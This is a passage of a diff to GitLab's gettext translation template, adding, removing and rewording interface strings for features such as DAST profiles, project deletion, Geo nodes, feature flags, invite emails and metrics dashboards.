+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
